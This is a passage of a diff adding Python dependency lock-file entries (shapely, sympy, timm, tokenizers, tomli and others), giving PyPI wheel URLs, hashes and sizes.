"sha256:7ed1a5bbfb386ee8332713bf7508bc24e32d24b74fc9a7b9f8529a55db9f4ee6", size = 3082855, upload-time = "2025-09-24T13:50:50.037Z" }, + { url = "https://files.pythonhosted.org/packages/44/2b/578faf235a5b09f16b5f02833c53822294d7f21b242f8e2d0cf03fb64321/shapely-2.1.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a84e0582858d841d54355246ddfcbd1fce3179f185da7470f41ce39d001ee1af", size = 3979960, upload-time = "2025-09-24T13:50:51.74Z" }, + { url = "https://files.pythonhosted.org/packages/4d/04/167f096386120f692cc4ca02f75a17b961858997a95e67a3cb6a7bbd6b53/shapely-2.1.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dc3487447a43d42adcdf52d7ac73804f2312cbfa5d433a7d2c506dcab0033dfd", size = 4142851, upload-time = "2025-09-24T13:50:53.49Z" }, + { url = "https://files.pythonhosted.org/packages/48/74/fb402c5a6235d1c65a97348b48cdedb75fb19eca2b1d66d04969fc1c6091/shapely-2.1.2-cp313-cp313-win32.whl", hash = "sha256:9c3a3c648aedc9f99c09263b39f2d8252f199cb3ac154fadc173283d7d111350", size = 1541890, upload-time = "2025-09-24T13:50:55.337Z" }, + { url = "https://files.pythonhosted.org/packages/41/47/3647fe7ad990af60ad98b889657a976042c9988c2807cf322a9d6685f462/shapely-2.1.2-cp313-cp313-win_amd64.whl", hash = "sha256:ca2591bff6645c216695bdf1614fca9c82ea1144d4a7591a466fef64f28f0715", size = 1722151, upload-time = "2025-09-24T13:50:57.153Z" }, + { url = "https://files.pythonhosted.org/packages/3c/49/63953754faa51ffe7d8189bfbe9ca34def29f8c0e34c67cbe2a2795f269d/shapely-2.1.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2d93d23bdd2ed9dc157b46bc2f19b7da143ca8714464249bef6771c679d5ff40", size = 1834130, upload-time = "2025-09-24T13:50:58.49Z" }, + { url = "https://files.pythonhosted.org/packages/7f/ee/dce001c1984052970ff60eb4727164892fb2d08052c575042a47f5a9e88f/shapely-2.1.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:01d0d304b25634d60bd7cf291828119ab55a3bab87dc4af1e44b07fb225f188b", size = 1642802, upload-time = "2025-09-24T13:50:59.871Z" }, + { url = "https://files.pythonhosted.org/packages/da/e7/fc4e9a19929522877fa602f705706b96e78376afb7fad09cad5b9af1553c/shapely-2.1.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8d8382dd120d64b03698b7298b89611a6ea6f55ada9d39942838b79c9bc89801", size = 3018460, upload-time = "2025-09-24T13:51:02.08Z" }, + { url = "https://files.pythonhosted.org/packages/a1/18/7519a25db21847b525696883ddc8e6a0ecaa36159ea88e0fef11466384d0/shapely-2.1.2-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:19efa3611eef966e776183e338b2d7ea43569ae99ab34f8d17c2c054d3205cc0", size = 3095223, upload-time = "2025-09-24T13:51:04.472Z" }, + { url = "https://files.pythonhosted.org/packages/48/de/b59a620b1f3a129c3fecc2737104a0a7e04e79335bd3b0a1f1609744cf17/shapely-2.1.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:346ec0c1a0fcd32f57f00e4134d1200e14bf3f5ae12af87ba83ca275c502498c", size = 4030760, upload-time = "2025-09-24T13:51:06.455Z" }, + { url = "https://files.pythonhosted.org/packages/96/b3/c6655ee7232b417562bae192ae0d3ceaadb1cc0ffc2088a2ddf415456cc2/shapely-2.1.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:6305993a35989391bd3476ee538a5c9a845861462327efe00dd11a5c8c709a99", size = 4170078, upload-time = "2025-09-24T13:51:08.584Z" }, + { url = "https://files.pythonhosted.org/packages/a0/8e/605c76808d73503c9333af8f6cbe7e1354d2d238bda5f88eea36bfe0f42a/shapely-2.1.2-cp313-cp313t-win32.whl", hash = "sha256:c8876673449f3401f278c86eb33224c5764582f72b653a415d0e6672fde887bf", size = 1559178, upload-time = "2025-09-24T13:51:10.73Z" }, + { url = "https://files.pythonhosted.org/packages/36/f7/d317eb232352a1f1444d11002d477e54514a4a6045536d49d0c59783c0da/shapely-2.1.2-cp313-cp313t-win_amd64.whl", hash = "sha256:4a44bc62a10d84c11a7a3d7c1c4fe857f7477c3506e24c9062da0db0ae0c449c", size = 1739756, upload-time = "2025-09-24T13:51:12.105Z" }, + { url = "https://files.pythonhosted.org/packages/fc/c4/3ce4c2d9b6aabd27d26ec988f08cb877ba9e6e96086eff81bfea93e688c7/shapely-2.1.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:9a522f460d28e2bf4e12396240a5fc1518788b2fcd73535166d748399ef0c223", size = 1831290, upload-time = "2025-09-24T13:51:13.56Z" }, + { url = "https://files.pythonhosted.org/packages/17/b9/f6ab8918fc15429f79cb04afa9f9913546212d7fb5e5196132a2af46676b/shapely-2.1.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1ff629e00818033b8d71139565527ced7d776c269a49bd78c9df84e8f852190c", size = 1641463, upload-time = "2025-09-24T13:51:14.972Z" }, + { url = "https://files.pythonhosted.org/packages/a5/57/91d59ae525ca641e7ac5551c04c9503aee6f29b92b392f31790fcb1a4358/shapely-2.1.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f67b34271dedc3c653eba4e3d7111aa421d5be9b4c4c7d38d30907f796cb30df", size = 2970145, upload-time = "2025-09-24T13:51:16.961Z" }, + { url = "https://files.pythonhosted.org/packages/8a/cb/4948be52ee1da6927831ab59e10d4c29baa2a714f599f1f0d1bc747f5777/shapely-2.1.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:21952dc00df38a2c28375659b07a3979d22641aeb104751e769c3ee825aadecf", size = 3073806, upload-time = "2025-09-24T13:51:18.712Z" }, + { url = "https://files.pythonhosted.org/packages/03/83/f768a54af775eb41ef2e7bec8a0a0dbe7d2431c3e78c0a8bdba7ab17e446/shapely-2.1.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:1f2f33f486777456586948e333a56ae21f35ae273be99255a191f5c1fa302eb4", size = 3980803, upload-time = "2025-09-24T13:51:20.37Z" }, + { url = "https://files.pythonhosted.org/packages/9f/cb/559c7c195807c91c79d38a1f6901384a2878a76fbdf3f1048893a9b7534d/shapely-2.1.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:cf831a13e0d5a7eb519e96f58ec26e049b1fad411fc6fc23b162a7ce04d9cffc", size = 4133301, upload-time = "2025-09-24T13:51:21.887Z" }, + { url = "https://files.pythonhosted.org/packages/80/cd/60d5ae203241c53ef3abd2ef27c6800e21afd6c94e39db5315ea0cbafb4a/shapely-2.1.2-cp314-cp314-win32.whl", hash = "sha256:61edcd8d0d17dd99075d320a1dd39c0cb9616f7572f10ef91b4b5b00c4aeb566", size = 1583247, upload-time = "2025-09-24T13:51:23.401Z" }, + { url = "https://files.pythonhosted.org/packages/74/d4/135684f342e909330e50d31d441ace06bf83c7dc0777e11043f99167b123/shapely-2.1.2-cp314-cp314-win_amd64.whl", hash = "sha256:a444e7afccdb0999e203b976adb37ea633725333e5b119ad40b1ca291ecf311c", size = 1773019, upload-time = "2025-09-24T13:51:24.873Z" }, + { url = "https://files.pythonhosted.org/packages/a3/05/a44f3f9f695fa3ada22786dc9da33c933da1cbc4bfe876fe3a100bafe263/shapely-2.1.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:5ebe3f84c6112ad3d4632b1fd2290665aa75d4cef5f6c5d77c4c95b324527c6a", size = 1834137, upload-time = "2025-09-24T13:51:26.665Z" }, + { url = "https://files.pythonhosted.org/packages/52/7e/4d57db45bf314573427b0a70dfca15d912d108e6023f623947fa69f39b72/shapely-2.1.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5860eb9f00a1d49ebb14e881f5caf6c2cf472c7fd38bd7f253bbd34f934eb076", size = 1642884, upload-time = "2025-09-24T13:51:28.029Z" }, + { url = "https://files.pythonhosted.org/packages/5a/27/4e29c0a55d6d14ad7422bf86995d7ff3f54af0eba59617eb95caf84b9680/shapely-2.1.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b705c99c76695702656327b819c9660768ec33f5ce01fa32b2af62b56ba400a1", size = 3018320, upload-time = "2025-09-24T13:51:29.903Z" }, + { url = "https://files.pythonhosted.org/packages/9f/bb/992e6a3c463f4d29d4cd6ab8963b75b1b1040199edbd72beada4af46bde5/shapely-2.1.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a1fd0ea855b2cf7c9cddaf25543e914dd75af9de08785f20ca3085f2c9ca60b0", size = 3094931, upload-time = "2025-09-24T13:51:32.699Z" }, + { url = "https://files.pythonhosted.org/packages/9c/16/82e65e21070e473f0ed6451224ed9fa0be85033d17e0c6e7213a12f59d12/shapely-2.1.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:df90e2db118c3671a0754f38e36802db75fe0920d211a27481daf50a711fdf26", size = 4030406, upload-time = "2025-09-24T13:51:34.189Z" }, + { url = "https://files.pythonhosted.org/packages/7c/75/c24ed871c576d7e2b64b04b1fe3d075157f6eb54e59670d3f5ffb36e25c7/shapely-2.1.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:361b6d45030b4ac64ddd0a26046906c8202eb60d0f9f53085f5179f1d23021a0", size = 4169511, upload-time = "2025-09-24T13:51:36.297Z" }, + { url = "https://files.pythonhosted.org/packages/b1/f7/b3d1d6d18ebf55236eec1c681ce5e665742aab3c0b7b232720a7d43df7b6/shapely-2.1.2-cp314-cp314t-win32.whl", hash = "sha256:b54df60f1fbdecc8ebc2c5b11870461a6417b3d617f555e5033f1505d36e5735", size = 1602607, upload-time = "2025-09-24T13:51:37.757Z" }, + { url = "https://files.pythonhosted.org/packages/9a/f6/f09272a71976dfc138129b8faf435d064a811ae2f708cb147dccdf7aacdb/shapely-2.1.2-cp314-cp314t-win_amd64.whl", hash = "sha256:0036ac886e0923417932c2e6369b6c52e38e0ff5d9120b90eef5cd9a5fc5cae9", size = 1796682, upload-time = "2025-09-24T13:51:39.233Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "supervision" +version = "0.28.0rc0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "defusedxml" }, + { name = "matplotlib" }, + { name = "numpy" }, + { name = "opencv-python" }, + { name = "pillow" }, + { name = "pyyaml" }, + { name = "requests" }, + { name = "scipy" }, + { name = "tqdm" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c8/37/ec477432381b1e6d7bdc3d8c0fc98df452e0adb2d5262c703e20d69bed6b/supervision-0.28.0rc0.tar.gz", hash = "sha256:b33e85dcaae173339c91bae98d7f600acd02a298b96e6613e1f345481ad14b97", size = 182223, upload-time = "2026-01-19T13:24:48.828Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bb/df/c9324cecebaf2327b5f1a6d984c7aa1f4f957e99a4aa9782f44326c6ae35/supervision-0.28.0rc0-py3-none-any.whl", hash = "sha256:c11184fe8b750ad3d972c3b730e983b27859b09075a4d83cc58ca4d4f7921fd7", size = 212601, upload-time = "2026-01-19T13:24:46.936Z" }, +] + +[[package]] +name = "sympy" +version = "1.14.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mpmath" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/83/d3/803453b36afefb7c2bb238361cd4ae6125a569b4db67cd9e79846ba2d68c/sympy-1.14.0.tar.gz", hash = "sha256:d3d3fe8df1e5a0b42f0e7bdf50541697dbe7d23746e894990c030e2b05e72517", size = 7793921, upload-time = "2025-04-27T18:05:01.611Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a2/09/77d55d46fd61b4a135c444fc97158ef34a095e5681d0a6c10b75bf356191/sympy-1.14.0-py3-none-any.whl", hash = "sha256:e091cc3e99d2141a0ba2847328f5479b05d94a6635cb96148ccb3f34671bd8f5", size = 6299353, upload-time = "2025-04-27T18:04:59.103Z" }, +] + +[[package]] +name = "tifffile" +version = "2025.5.10" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version < '3.11' and sys_platform == 'darwin'", + "python_full_version < '3.11' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version < '3.11' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version < '3.11' and sys_platform != 'darwin' and sys_platform != 'linux')", +] +dependencies = [ + { name = "numpy", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/44/d0/18fed0fc0916578a4463f775b0fbd9c5fed2392152d039df2fb533bfdd5d/tifffile-2025.5.10.tar.gz", hash = "sha256:018335d34283aa3fd8c263bae5c3c2b661ebc45548fde31504016fcae7bf1103", size = 365290, upload-time = "2025-05-10T19:22:34.386Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5d/06/bd0a6097da704a7a7c34a94cfd771c3ea3c2f405dd214e790d22c93f6be1/tifffile-2025.5.10-py3-none-any.whl", hash = "sha256:e37147123c0542d67bc37ba5cdd67e12ea6fbe6e86c52bee037a9eb6a064e5ad", size = 226533, upload-time = "2025-05-10T19:22:27.279Z" }, +] + +[[package]] +name = "tifffile" +version = "2026.1.28" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.14' and sys_platform == 'darwin'", + "python_full_version == '3.13.*' and sys_platform == 'darwin'", + "python_full_version == '3.12.*' and sys_platform == 'darwin'", + "python_full_version >= '3.14' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "python_full_version == '3.13.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "python_full_version == '3.12.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version >= '3.14' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version >= '3.14' and sys_platform != 'darwin' and sys_platform != 'linux')", + "(python_full_version == '3.13.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.13.*' and sys_platform != 'darwin' and sys_platform != 'linux')", + "(python_full_version == '3.12.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.12.*' and sys_platform != 'darwin' and sys_platform != 'linux')", + "python_full_version == '3.11.*' and sys_platform == 'darwin'", + "python_full_version == '3.11.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version == '3.11.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.11.*' and sys_platform != 'darwin' and sys_platform != 'linux')", +] +dependencies = [ + { name = "numpy", marker = "python_full_version >= '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/94/32/38498d2a1a5d70f33f6c3909bbad48557c9a54b0e33a9307ff06b6d416ba/tifffile-2026.1.28.tar.gz", hash = "sha256:537ae6466a8bb555c336108bb1878d8319d52c9c738041d3349454dea6956e1c", size = 374675, upload-time = "2026-01-29T05:17:24.992Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/09/19/529b28ca338c5a88315e71e672badc85eef89460c248c4164f6ce058f8c7/tifffile-2026.1.28-py3-none-any.whl", hash = "sha256:45b08a19cf603dd99952eff54a61519626a1912e4e2a4d355f05938fe4a6e9fd", size = 233011, upload-time = "2026-01-29T05:17:23.078Z" }, +] + +[[package]] +name = "timm" +version = "1.0.24" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "huggingface-hub" }, + { name = "pyyaml" }, + { name = "safetensors" }, + { name = "torch" }, + { name = "torchvision" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f4/9d/0ea45640be447445c8664ce2b10c74f763b0b0b9ed11620d41a4d4baa10c/timm-1.0.24.tar.gz", hash = "sha256:c7b909f43fe2ef8fe62c505e270cd4f1af230dfbc37f2ee93e3608492b9d9a40", size = 2412239, upload-time = "2026-01-07T00:26:17.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/92/dd/c1f5b0890f7b5db661bde0864b41cb0275be76851047e5f7e085fe0b455a/timm-1.0.24-py3-none-any.whl", hash = "sha256:8301ac783410c6ad72c73c49326af6d71a9e4d1558238552796e825c2464913f", size = 2560563, upload-time = "2026-01-07T00:26:13.956Z" }, +] + +[[package]] +name = "tldextract" +version = "5.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "filelock" }, + { name = "idna" }, + { name = "requests" }, + { name = "requests-file" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4a/4f/eee4bebcbad25a798bf55601d3a4aee52003bebcf9e55fce08b91ca541a9/tldextract-5.1.3.tar.gz", hash = "sha256:d43c7284c23f5dc8a42fd0fee2abede2ff74cc622674e4cb07f514ab3330c338", size = 125033, upload-time = "2024-11-05T00:03:00.009Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c6/86/aebe15fa40a992c446be5cf14e70e58a251277494c14d26bdbcff0e658fd/tldextract-5.1.3-py3-none-any.whl", hash = "sha256:78de310cc2ca018692de5ddf320f9d6bd7c5cf857d0fd4f2175f0cdf4440ea75", size = 104923, upload-time = "2024-11-05T00:02:58.009Z" }, +] + +[[package]] +name = "tokenizers" +version = "0.22.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "huggingface-hub" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/73/6f/f80cfef4a312e1fb34baf7d85c72d4411afde10978d4657f8cdd811d3ccc/tokenizers-0.22.2.tar.gz", hash = "sha256:473b83b915e547aa366d1eee11806deaf419e17be16310ac0a14077f1e28f917", size = 372115, upload-time = "2026-01-05T10:45:15.988Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/92/97/5dbfabf04c7e348e655e907ed27913e03db0923abb5dfdd120d7b25630e1/tokenizers-0.22.2-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:544dd704ae7238755d790de45ba8da072e9af3eea688f698b137915ae959281c", size = 3100275, upload-time = "2026-01-05T10:41:02.158Z" }, + { url = "https://files.pythonhosted.org/packages/2e/47/174dca0502ef88b28f1c9e06b73ce33500eedfac7a7692108aec220464e7/tokenizers-0.22.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:1e418a55456beedca4621dbab65a318981467a2b188e982a23e117f115ce5001", size = 2981472, upload-time = "2026-01-05T10:41:00.276Z" }, + { url = "https://files.pythonhosted.org/packages/d6/84/7990e799f1309a8b87af6b948f31edaa12a3ed22d11b352eaf4f4b2e5753/tokenizers-0.22.2-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2249487018adec45d6e3554c71d46eb39fa8ea67156c640f7513eb26f318cec7", size = 3290736, upload-time = "2026-01-05T10:40:32.165Z" }, + { url = "https://files.pythonhosted.org/packages/78/59/09d0d9ba94dcd5f4f1368d4858d24546b4bdc0231c2354aa31d6199f0399/tokenizers-0.22.2-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:25b85325d0815e86e0bac263506dd114578953b7b53d7de09a6485e4a160a7dd", size = 3168835, upload-time = "2026-01-05T10:40:38.847Z" }, + { url = "https://files.pythonhosted.org/packages/47/50/b3ebb4243e7160bda8d34b731e54dd8ab8b133e50775872e7a434e524c28/tokenizers-0.22.2-cp39-abi3-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bfb88f22a209ff7b40a576d5324bf8286b519d7358663db21d6246fb17eea2d5", size = 3521673, upload-time = "2026-01-05T10:40:56.614Z" }, + { url = "https://files.pythonhosted.org/packages/e0/fa/89f4cb9e08df770b57adb96f8cbb7e22695a4cb6c2bd5f0c4f0ebcf33b66/tokenizers-0.22.2-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1c774b1276f71e1ef716e5486f21e76333464f47bece56bbd554485982a9e03e", size = 3724818, upload-time = "2026-01-05T10:40:44.507Z" }, + { url = "https://files.pythonhosted.org/packages/64/04/ca2363f0bfbe3b3d36e95bf67e56a4c88c8e3362b658e616d1ac185d47f2/tokenizers-0.22.2-cp39-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:df6c4265b289083bf710dff49bc51ef252f9d5be33a45ee2bed151114a56207b", size = 3379195, upload-time = "2026-01-05T10:40:51.139Z" }, + { url = "https://files.pythonhosted.org/packages/2e/76/932be4b50ef6ccedf9d3c6639b056a967a86258c6d9200643f01269211ca/tokenizers-0.22.2-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:369cc9fc8cc10cb24143873a0d95438bb8ee257bb80c71989e3ee290e8d72c67", size = 3274982, upload-time = "2026-01-05T10:40:58.331Z" }, + { url = "https://files.pythonhosted.org/packages/1d/28/5f9f5a4cc211b69e89420980e483831bcc29dade307955cc9dc858a40f01/tokenizers-0.22.2-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:29c30b83d8dcd061078b05ae0cb94d3c710555fbb44861139f9f83dcca3dc3e4", size = 9478245, upload-time = "2026-01-05T10:41:04.053Z" }, + { url = "https://files.pythonhosted.org/packages/6c/fb/66e2da4704d6aadebf8cb39f1d6d1957df667ab24cff2326b77cda0dcb85/tokenizers-0.22.2-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:37ae80a28c1d3265bb1f22464c856bd23c02a05bb211e56d0c5301a435be6c1a", size = 9560069, upload-time = "2026-01-05T10:45:10.673Z" }, + { url = "https://files.pythonhosted.org/packages/16/04/fed398b05caa87ce9b1a1bb5166645e38196081b225059a6edaff6440fac/tokenizers-0.22.2-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:791135ee325f2336f498590eb2f11dc5c295232f288e75c99a36c5dbce63088a", size = 9899263, upload-time = "2026-01-05T10:45:12.559Z" }, + { url = "https://files.pythonhosted.org/packages/05/a1/d62dfe7376beaaf1394917e0f8e93ee5f67fea8fcf4107501db35996586b/tokenizers-0.22.2-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:38337540fbbddff8e999d59970f3c6f35a82de10053206a7562f1ea02d046fa5", size = 10033429, upload-time = "2026-01-05T10:45:14.333Z" }, + { url = "https://files.pythonhosted.org/packages/fd/18/a545c4ea42af3df6effd7d13d250ba77a0a86fb20393143bbb9a92e434d4/tokenizers-0.22.2-cp39-abi3-win32.whl", hash = "sha256:a6bf3f88c554a2b653af81f3204491c818ae2ac6fbc09e76ef4773351292bc92", size = 2502363, upload-time = "2026-01-05T10:45:20.593Z" }, + { url = "https://files.pythonhosted.org/packages/65/71/0670843133a43d43070abeb1949abfdef12a86d490bea9cd9e18e37c5ff7/tokenizers-0.22.2-cp39-abi3-win_amd64.whl", hash = "sha256:c9ea31edff2968b44a88f97d784c2f16dc0729b8b143ed004699ebca91f05c48", size = 2747786, upload-time = "2026-01-05T10:45:18.411Z" }, + { url = "https://files.pythonhosted.org/packages/72/f4/0de46cfa12cdcbcd464cc59fde36912af405696f687e53a091fb432f694c/tokenizers-0.22.2-cp39-abi3-win_arm64.whl", hash = "sha256:9ce725d22864a1e965217204946f830c37876eee3b2ba6fc6255e8e903d5fcbc", size = 2612133, upload-time = "2026-01-05T10:45:17.232Z" }, + { url = "https://files.pythonhosted.org/packages/84/04/655b79dbcc9b3ac5f1479f18e931a344af67e5b7d3b251d2dcdcd7558592/tokenizers-0.22.2-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:753d47ebd4542742ef9261d9da92cd545b2cacbb48349a1225466745bb866ec4", size = 3282301, upload-time = "2026-01-05T10:40:34.858Z" }, + { url = "https://files.pythonhosted.org/packages/46/cd/e4851401f3d8f6f45d8480262ab6a5c8cb9c4302a790a35aa14eeed6d2fd/tokenizers-0.22.2-pp310-pypy310_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e10bf9113d209be7cd046d40fbabbaf3278ff6d18eb4da4c500443185dc1896c", size = 3161308, upload-time = "2026-01-05T10:40:40.737Z" }, + { url = "https://files.pythonhosted.org/packages/6f/6e/55553992a89982cd12d4a66dddb5e02126c58677ea3931efcbe601d419db/tokenizers-0.22.2-pp310-pypy310_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:64d94e84f6660764e64e7e0b22baa72f6cd942279fdbb21d46abd70d179f0195", size = 3718964, upload-time = "2026-01-05T10:40:46.56Z" }, + { url = "https://files.pythonhosted.org/packages/59/8c/b1c87148aa15e099243ec9f0cf9d0e970cc2234c3257d558c25a2c5304e6/tokenizers-0.22.2-pp310-pypy310_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f01a9c019878532f98927d2bacb79bbb404b43d3437455522a00a30718cdedb5", size = 3373542, upload-time = "2026-01-05T10:40:52.803Z" }, +] + +[[package]] +name = "tomli" +version = "2.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/18/87/302344fed471e44a87289cf4967697d07e532f2421fdaf868a303cbae4ff/tomli-2.2.1.tar.gz", hash = "sha256:cd45e1dc79c835ce60f7404ec8119f2eb06d38b1deba146f07ced3bbc44505ff", size = 17175, upload-time = "2024-11-27T22:38:36.873Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/43/ca/75707e6efa2b37c77dadb324ae7d9571cb424e61ea73fad7c56c2d14527f/tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249", size = 131077, upload-time = "2024-11-27T22:37:54.956Z" }, + { url = "https://files.pythonhosted.org/packages/c7/16/51ae563a8615d472fdbffc43a3f3d46588c264ac4f024f63f01283becfbb/tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6", size = 123429, upload-time = "2024-11-27T22:37:56.698Z" }, + { url = "https://files.pythonhosted.org/packages/f1/dd/4f6cd1e7b160041db83c694abc78e100473c15d54620083dbd5aae7b990e/tomli-2.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ece47d672db52ac607a3d9599a9d48dcb2f2f735c6c2d1f34130085bb12b112a", size = 226067, upload-time = "2024-11-27T22:37:57.63Z" }, + { url = "https://files.pythonhosted.org/packages/a9/6b/c54ede5dc70d648cc6361eaf429304b02f2871a345bbdd51e993d6cdf550/tomli-2.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6972ca9c9cc9f0acaa56a8ca1ff51e7af152a9f87fb64623e31d5c83700080ee", size = 236030, upload-time = "2024-11-27T22:37:59.344Z" }, + { url = "https://files.pythonhosted.org/packages/1f/47/999514fa49cfaf7a92c805a86c3c43f4215621855d151b61c602abb38091/tomli-2.2.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c954d2250168d28797dd4e3ac5cf812a406cd5a92674ee4c8f123c889786aa8e", size = 240898, upload-time = "2024-11-27T22:38:00.429Z" }, + { url = "https://files.pythonhosted.org/packages/73/41/0a01279a7ae09ee1573b423318e7934674ce06eb33f50936655071d81a24/tomli-2.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8dd28b3e155b80f4d54beb40a441d366adcfe740969820caf156c019fb5c7ec4", size = 229894, upload-time = "2024-11-27T22:38:02.094Z" }, + { url = "https://files.pythonhosted.org/packages/55/18/5d8bc5b0a0362311ce4d18830a5d28943667599a60d20118074ea1b01bb7/tomli-2.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:e59e304978767a54663af13c07b3d1af22ddee3bb2fb0618ca1593e4f593a106", size = 245319, upload-time = "2024-11-27T22:38:03.206Z" }, + { url = "https://files.pythonhosted.org/packages/92/a3/7ade0576d17f3cdf5ff44d61390d4b3febb8a9fc2b480c75c47ea048c646/tomli-2.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:33580bccab0338d00994d7f16f4c4ec25b776af3ffaac1ed74e0b3fc95e885a8", size = 238273, upload-time = "2024-11-27T22:38:04.217Z" }, + { url = "https://files.pythonhosted.org/packages/72/6f/fa64ef058ac1446a1e51110c375339b3ec6be245af9d14c87c4a6412dd32/tomli-2.2.1-cp311-cp311-win32.whl", hash = "sha256:465af0e0875402f1d226519c9904f37254b3045fc5084697cefb9bdde1ff99ff", size = 98310, upload-time = "2024-11-27T22:38:05.908Z" }, + { url = "https://files.pythonhosted.org/packages/6a/1c/4a2dcde4a51b81be3530565e92eda625d94dafb46dbeb15069df4caffc34/tomli-2.2.1-cp311-cp311-win_amd64.whl", hash = 